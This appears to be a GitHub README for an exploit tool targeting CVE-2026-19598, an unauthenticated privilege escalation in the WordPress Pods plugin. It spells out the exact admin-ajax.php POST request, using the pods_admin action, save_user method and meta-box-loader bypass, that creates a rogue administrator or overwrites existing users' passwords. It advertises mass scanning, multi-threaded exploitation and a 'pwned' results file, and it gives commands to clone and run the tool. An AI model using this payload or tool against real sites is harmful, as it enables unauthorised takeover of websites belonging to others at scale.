CVE-2026-19598 — Pods WordPress Plugin Unauthenticated Privilege Escalation

Critical Unauthenticated Privilege Escalation (CVSS 9.8) — WordPress Pods Plugin ≤ 3.3.9

This tool exploits CVE-2026-19598, a vulnerability in the WordPress Pods plugin that allows unauthenticated attackers to create new administrator accounts or overwrite existing user passwords via the admin-ajax.php endpoint.

⚠️ Vulnerability Overview

Technical Details

The vulnerability exists in the pods_admin AJAX action. Due to improper permission checks, the save_user method can be called without authentication when the meta-box-loader parameter is present. This allows an attacker to:

1. Create new admin users with arbitrary credentials
2. Overwrite existing user passwords by specifying a user ID
3. Escalate privileges from unauthenticated to full admin access

Attack Vector

POST /wp-admin/admin-ajax.php action=pods_admin method=save_user meta-box-loader=1 user_login=evil_admin user_pass=Hacked123! role=administrator

The plugin fails to verify that the user making the request has proper capabilities, and the meta-box-loader parameter bypasses the intended security checks.

🚀 Features

• ✅ Single-target exploitation — create admin or overwrite password
• ✅ Mass scanning & exploitation — load targets from file
• ✅ Multi-threading — fast parallel processing
• ✅ Automatic login verification — confirm admin access
• ✅ Overwrite mode — take over existing user accounts
• ✅ Custom credentials — set your own username/password
• ✅ Progress bar with spinner and real-time stats
• ✅ Colored output for easy reading
• ✅ Results saving — pods_pwned.txt with all exploited targets
• ✅ No external dependencies — uses Python standard library + requests

📥 Installation

# Clone the repository
git clone https://github.com/0xCyp1337/CVE-2026-19598.git
cd CVE-2026-19598
python3 CVE-2026-19598.py

# Install dependencies (only requests needed)
pip install requests